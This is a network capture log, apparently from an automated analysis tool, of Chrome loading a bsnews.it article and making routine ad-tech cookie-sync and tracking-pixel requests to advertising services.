2024-03-28 08:51:30 UTC	902	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=01F5328A-C4D9-44AD-8468-60A885247C68; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=1; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=156136:2; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1712188800%3A265%7C1712793600%3A263_201%7C1711670400%3A248; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1712793600%3A250_3_166_21_13_54_71_104_220%7C1712188800%3A223; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 28 Mar 2024 08:51:30 GMT Transfer-Encoding: chunked Connection: close
2024-03-28 08:51:30 UTC	2432	IN	Data Raw: 39 37 34 0d 0a 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 70 6d 65 62 26 67 6f 6f 67 6c 65 5f 73 63 3d 31 26 67 6f 6f 67 6c 65 5f 68 6d 3d 41 66 55 79 69 73 54 5a 52 4b 32 45 61 47 43 6f 68 53 52 38 61 41 25 33 44 25 33 44 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 74 61 70 61 64 2e 63 6f 6d 2f 69 64 73 79 6e 63 2f 65 78 2f 72 65 63 65 69 76 65 3f 70 61 72 74 6e 65 72 5f 69 64 3d 33 33 37 31 26 70 61 72 74 6e 65 72 Data Ascii: 974PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=AfUyisTZRK2EaGCohSR8aA%3D%3D&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3371&partner

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.4	50224	141.95.33.120	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	582	OUT	POST /gm/v3 HTTP/1.1 Host: id5-sync.com Connection: keep-alive Content-Length: 1096 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:30 UTC	1096	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 73 22 3a 5b 7b 22 72 65 71 75 65 73 74 49 64 22 3a 22 65 66 62 31 63 31 33 35 2d 30 32 38 35 2d 34 62 63 61 2d 39 36 65 66 2d 36 62 32 61 38 62 38 39 33 38 38 65 22 2c 22 72 65 71 75 65 73 74 43 6f 75 6e 74 22 3a 31 2c 22 72 6f 6c 65 22 3a 22 6c 65 61 64 65 72 22 2c 22 63 61 63 68 65 49 64 22 3a 22 35 37 37 33 32 33 37 32 35 34 32 34 37 37 39 36 22 2c 22 72 65 66 72 65 73 68 22 3a 74 72 75 65 2c 22 70 61 72 74 6e 65 72 22 3a 31 31 36 31 2c 22 76 22 3a 22 31 2e 30 2e 36 33 22 2c 22 6f 22 3a 22 61 70 69 22 2c 22 74 6d 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 73 6e 65 77 73 2e 69 74 2f 32 30 31 35 2f 30 31 2f 32 33 2f 6c 65 2d 63 69 74 74 61 2d 70 69 75 2d 62 72 75 74 74 65 2d 64 2d 69 74 61 6c 69 61 2d 62 72 65 73 63 69 61 2d 61 6c Data Ascii: {"requests":[{"requestId":"efb1c135-0285-4bca-96ef-6b2a8b89388e","requestCount":1,"role":"leader","cacheId":"5773237254247796","refresh":true,"partner":1161,"v":"1.0.63","o":"api","tml":"https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al
2024-03-28 08:51:30 UTC	694	IN	HTTP/1.1 200 OK date: Thu, 28 Mar 2024 08:51:30 GMT vary: Accept-Encoding p3p: CP="CAO PSA OUR" set-cookie: 3pi=; Path=/; Domain=id5-sync.com; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; SameSite=None; Secure expires: Thu, 01 Jan 1970 00:00:00 GMT set-cookie: id5=0f838bb0-ab7f-7ee9-845c-96c1c2cd2c8b#1711615890909#1; Path=/; Domain=id5-sync.com; Expires=Wed, 26 Jun 2024 08:51:30 GMT; Max-Age=7776000; SameSite=None; Secure access-control-allow-origin: https://bsnews.it vary: Origin access-control-allow-credentials: true content-type: application/json transfer-encoding: chunked strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-03-28 08:51:30 UTC	661	IN	Data Raw: 32 38 45 0d 0a 7b 22 67 65 6e 65 72 69 63 22 3a 7b 22 73 69 67 6e 61 74 75 72 65 22 3a 22 49 44 35 5f 41 72 70 4d 69 58 54 5a 31 76 43 77 74 46 31 69 4b 53 56 36 35 53 38 30 66 4a 4f 4a 56 4e 32 42 30 6f 71 63 57 41 6c 75 47 72 51 64 4e 64 49 76 55 39 54 7a 35 35 37 64 41 66 4b 7a 5a 53 31 61 66 4d 54 68 72 4c 71 79 52 4e 44 75 38 64 30 50 46 5a 4b 45 37 58 39 4c 37 50 56 68 34 63 34 59 45 50 46 53 2d 45 4b 66 4a 37 4b 2d 70 6a 68 33 48 49 35 72 50 45 4c 77 32 78 31 6f 5f 73 49 48 36 32 38 6a 4c 38 47 46 52 68 66 4d 6e 68 70 56 64 5a 73 22 2c 22 63 72 65 61 74 65 64 5f 61 74 22 3a 22 32 30 32 34 2d 30 33 2d 32 38 54 30 38 3a 35 31 3a 33 30 2e 39 30 39 34 31 38 39 30 31 5a 22 2c 22 69 64 35 5f 63 6f 6e 73 65 6e 74 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e Data Ascii: 28E{"generic":{"signature":"ID5_ArpMiXTZ1vCwtF1iKSV65S80fJOJVN2B0oqcWAluGrQdNdIvU9Tz557dAfKzZS1afMThrLqyRNDu8d0PFZKE7X9L7PVh4c4YEPFS-EKfJ7K-pjh3HI5rPELw2x1o_sIH628jL8GFRhfMnhpVdZs","created_at":"2024-03-28T08:51:30.909418901Z","id5_consent":true,"origin
2024-03-28 08:51:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.4	50145	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	762	OUT	GET /dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gpp=&gpp_sid=&dcc=t HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g\|t
2024-03-28 08:51:30 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 28 Mar 2024 08:51:30 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: VHB4FGYWPXKKEG4F74W5 Set-Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 08:51:30 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Apr-2029 08:51:30 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-03-28 08:51:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.4	50156	54.84.169.242	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:30 UTC	804	OUT	GET /s/31327?gdpr_consent=&bidder_id=14481&gpp=&bidder_uuid=ZgUvi9HM46UAADq7ABhzMwAA%262753&_li_chk=true&gpp_sid=&us_privacy=&gpdr=&previous_uuid=e1bfda393c7f4f7181831ce9a7296fe5 HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=e1bfda39-3c7f-4f71-8183-1ce9a7296fe5
2024-03-28 08:51:30 UTC	618	IN	HTTP/1.1 303 See Other Date: Thu, 28 Mar 2024 08:51:30 GMT Content-Length: 0 Connection: close Location: https://live.rezync.com/sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&pid=e1bfda39-3c7f-4f71-8183-1ce9a7296fe5 Set-Cookie: _li_ss=CggKBgiiARDGFw; Max-Age=2592000; Expires=Sat, 27 Apr 2024 08:51:30 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=e1bfda39-3c7f-4f71-8183-1ce9a7296fe5; Max-Age=63072000; Expires=Sat, 28 Mar 2026 08:51:30 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 1 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.4	50159	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	686	OUT	GET /dmp/pixelSync?cookieQ=1&nid=48 HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=035fb342-304f-4e3b-b2b9-1e0903ffb19a#1711615889092
2024-03-28 08:51:31 UTC	1179	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=035fb342-304f-4e3b-b2b9-1e0903ffb19a#1711615889092; Domain=.sitescout.com; Expires=Fri, 28-Mar-2025 08:51:31 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyIyNCI6MTcxMTYxNTg5MTQ3NSwiMzkiOjE3MTE2MTU4OTE0NzUsIjciOjE3MTE2MTU4OTE0NzV9; Domain=.sitescout.com; Expires=Sat, 27-Apr-2024 08:51:31 GMT; Path=/; Secure; SameSite=None location: https://sync.crwdcntrl.net/qmap?c=1389&tp=STSC&tpid=035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553&gdpr=0&gdpr_consent=&d=https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Fpush%3Fpartner_id%3D2499%26partner_device_id%3D035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553%26partner_url%3Dhttps%253A%252F%252Fr.casalemedia.com%252Frum%253Fcm_dsp_id%253D64%2526external_user_id%253D035fb342-304f-4e3b-b2b9-1e0903ffb19a-66052f91-5553%2526gdpr%253D0%2526gdpr_consent%253D Content-Length: 0 date: Thu, 28 Mar 2024 08:51:31 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.4	50215	80.77.87.162	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	769	OUT	GET /sync/admanmedia?puid=9741359e-b2a2-4864-af08-41d769df6c9b&gdpr=[GDPR]&gdpr_consent=[GDPR_CONSENT]&ccpa=[CCPA]&coppa=0 HTTP/1.1 Host: cs.admanmedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.admanmedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: admtr=9741359e-b2a2-4864-af08-41d769df6c9b; admtr_red=undefined
2024-03-28 08:51:31 UTC	523	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Length: 0 Connection: close Set-Cookie: admtr=9741359e-b2a2-4864-af08-41d769df6c9b; path=/; domain=.admanmedia.com; expires=Thu, 11 Apr 2024 08:03:38 GMT;SameSite=None;Secure Set-Cookie: ac_r=CS5; path=/; domain=.admanmedia.com; expires=Thu, 11 Apr 2024 08:03:38 GMT;SameSite=None;Secure Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Location: https://t.adx.opera.com/pub/sync?pubid=pub5959307917824

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.4	50185	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	781	OUT	GET /async_usersync?cbfn=queuePixels HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://acdn.adnxs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:31 UTC	1280	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 5df5b959-1e06-4d85-8ddd-87cca3523147 Set-Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:31 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:31 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:31 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 806.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.4	50216	82.145.213.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	673	OUT	GET /pub/sync?pubid=pub10014056052800&gdpr=0&gdpr_consent= HTTP/1.1 Host: t.adx.opera.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=OPU3668144d24c64241956e761ce5b3a0eb
2024-03-28 08:51:31 UTC	766	IN	HTTP/1.1 302 Found Server: Tengine Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 131 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With Access-Control-Allow-Methods: POST, GET Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jan 1990 00:00:00 GMT Location: https://ce.lijit.com/merge?3pid=OPU3668144d24c64241956e761ce5b3a0eb&gdpr=0&gdpr_consent=&pid=103 Pragma: no-cache Set-Cookie: UID=OPU3668144d24c64241956e761ce5b3a0eb; Path=/; Domain=adx.opera.com; Max-Age=31536000; Secure; SameSite=None
2024-03-28 08:51:31 UTC	131	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2e 6c 69 6a 69 74 2e 63 6f 6d 2f 6d 65 72 67 65 3f 33 70 69 64 3d 4f 50 55 33 36 36 38 31 34 34 64 32 34 63 36 34 32 34 31 39 35 36 65 37 36 31 63 65 35 62 33 61 30 65 62 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 70 69 64 3d 31 30 33 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://ce.lijit.com/merge?3pid=OPU3668144d24c64241956e761ce5b3a0eb&gdpr=0&gdpr_consent=&pid=103">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.4	50192	35.207.24.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	759	OUT	GET /ul_cb/sync?ssp=onetag&ssp_user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&gdpr=0&gdpr_consent= HTTP/1.1 Host: rtb.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=7d3b2b7e-cb07-4ad6-99b0-d621ad803f96; c=1711615890; tuuid_lu=1711615890
2024-03-28 08:51:31 UTC	711	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Thu, 28 Mar 2024 08:51:31 GMT Location: //onetag-sys.com/match/?int_id=160&uid=7d3b2b7e-cb07-4ad6-99b0-d621ad803f96 Set-Cookie: tuuid=7d3b2b7e-cb07-4ad6-99b0-d621ad803f96; path=/; expires=Sat, 28-Mar-2026 08:51:31 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: tuuid_lu=1711615891; path=/; expires=Sat, 28-Mar-2026 08:51:31 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: ssh=!onetag,1711615891; path=/; expires=Sat, 28-Mar-2026 08:51:31 GMT; domain=.mfadsrvr.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.4	50238	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	1798	OUT	GET /gampad/ads?pvsid=1536995679409651&correlator=4021198300896108&eid=31079957%2C31081973%2C95327887%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2Cbsnews_dsk_intro&enc_prev_ius=%2F0%2F1&prev_iu_szs=1000x500%7C1x8&ifi=1&didk=2826984766&sfv=1-0-40&eri=1&sc=1&cookie_enabled=1&abxe=1&dt=1711615881767&lmt=1711560111&adxs=0&adys=13555&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1&ucis=1&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=1263x13576&msz=1000x-1&fws=512&ohw=0&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvYnNuZXdzX2Rza19pbnRybyIsW11dXV0sbnVsbCwzXQ..&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Dinstant%26refreshCount%3D0&cust_params=consent%3Dyes&adks=3120347037&frm=20 HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
2024-03-28 08:51:31 UTC	753	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Google-LineItem-Id: -2 Google-Creative-Id: -2 Google-MediationGroup-Id: -2 Google-MediationTag-Id: -2 Date: Thu, 28 Mar 2024 08:51:31 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/plain; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:31 UTC	499	IN	Data Raw: 33 39 62 0d 0a 7b 22 2f 31 35 30 31 33 34 35 38 30 2f 62 73 6e 65 77 73 5f 64 73 6b 5f 69 6e 74 72 6f 22 3a 5b 22 68 74 6d 6c 22 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2c 32 35 30 2c 39 37 30 2c 31 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 22 49 44 3d 30 66 61 36 63 30 31 63 64 38 34 63 35 66 66 32 3a 54 3d 31 37 31 31 36 31 35 38 39 31 3a 52 54 3d 31 37 31 31 36 31 35 38 39 31 3a 53 3d 41 4c 4e 49 5f 4d 5a 74 47 56 5a 41 2d 5a 6f 7a 6d 54 31 51 79 31 51 7a 58 4c 64 44 49 45 48 4d 61 41 22 2c 31 37 34 35 33 31 31 38 39 31 2c 22 2f 22 2c 22 62 73 6e 65 77 73 2e 69 74 22 2c 31 5d 2c 5b 22 55 49 44 3d 30 30 30 30 30 64 64 36 37 38 30 33 36 62 61 35 3a 54 3d 31 37 31 31 36 31 35 38 39 31 3a 52 54 3d 31 37 31 31 36 31 35 38 Data Ascii: 39b{"/150134580/bsnews_dsk_intro":["html",0,null,null,0,250,970,1,0,null,null,null,null,[["ID=0fa6c01cd84c5ff2:T=1711615891:RT=1711615891:S=ALNI_MZtGVZA-ZozmT1Qy1QzXLdDIEHMaA",1745311891,"/","bsnews.it",1],["UID=00000dd678036ba5:T=1711615891:RT=17116158
